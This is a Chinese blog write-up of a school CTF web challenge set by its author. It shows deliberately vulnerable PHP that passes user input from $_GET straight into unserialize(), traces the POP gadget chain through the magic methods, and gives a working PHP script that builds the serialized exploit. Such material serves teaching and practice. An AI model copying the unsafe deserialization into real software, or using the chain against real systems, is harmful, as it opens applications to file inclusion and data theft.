POP链
这次出了一题校内CTF的Web题目,这次出的是一个php的Pop链的题目(如果有不知道的小伙伴可以先去看看php的反序列化漏洞),也是第一次出题,当一次出题人哈哈哈哈哈哈。那我们来看一下题目吧。
题目:#
<?php
//flag is in flag_change
highlight_file(__FILE__);
error_reporting(0);
class QZI {
private $lalala;
public function qziedu($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->qziedu($this->lalala);
}
}
class A{
public $qian;
public $yu;
public function __toString(){
return $this->yu->qian;
}
public function __wakeup(){
echo $this->qian;
}
}
class V{
public $py;
public function __construct(){
$this->py = array();
}
public function __get($key){
$function = $this->py;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
Pop链构造#
这题可以直接看到源代码中提示//flag is in flag_change
;有一个方法qziedu()
可以包含一个文件,并且echo
了变量flag
,那很明显我们只要给$value
赋值为flag_change
并且触发了这个函数就可以得到flag
。
public function qziedu($value)
{
include($value);
echo $flag;
}
接下来我们来分析一下怎么调用这个方法;要想调用这个方法我们需要构造一系列的payload
,也就是pop链。
上面提到了我们需要调用方法qziedu()
来获得flag;那qziedu()
是在__invoke()
下,__invoke()
的触发条件是以函数的方式调用对象时触发,在代码里面V
类的__get()
是可以把对象当成函数调用的。
public function __get($key){
$function = $this->py;
return $function();
}
这里的return $function();
看起来很正常,但是这个$function()
是一个可控的变量,是由$py
赋予的。那就可以把qziedu()
赋值给$py
来完成__invoke
的触发。
显然这两句代码不是凭空触发的,是在__get()
下的两句代码。__get()
的触发需要获得一个不能访问的成员属性时触发。审计一下源码能发现调用成员属性的只有A类和V类里面有,V类里有着__wakeup
模式方法,触发后会输出变量yu
的成员qianyu
,那这很明显就是我们需要的东西;我们反序列化时会触发__wakeup()
然后输出变量qian
,我们只要把qian
赋值为当前类实例的对象,就可以触发__toString()
去调用成员,那yu
只要赋值为V类实例的对象,就可以完成__get()
的触发。
class A{
public $qian;
public $yu;
public function __toString(){
return $this->yu->qian;
}
public function __wakeup(){
echo $this->qian;
}
}
至此完成整个Pop链的构造。我们整理一下链子:
A.wakeup --> A.toString -> V.get --> qzi.invoke --> get flag
payload#
<?php
//flag is in flag_change
highlight_file(__FILE__);
error_reporting(0);
class QZI {
private $lalala = "flag.php";
}
class A{
public $qian;
public $yu;
}
class V{
public $py;
}
$qzi = new QZI(); #实例化QZI
$v = new V(); #实例化V
$v -> py = $qzi; #将py赋值位qzi,为的是触发QZI类的中的__invoke
$a = new A(); #实例化A
$a -> qian = $a; #因为要触发__toString,并且是wakeup,所以这里要写自己的实例
$a -> yu = $v; #这里就是调用V函数的__get
echo urlencode(serialize($a));
作者:qianyuzz
出处:https://www.cnblogs.com/qianyuzz/p/17868151.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)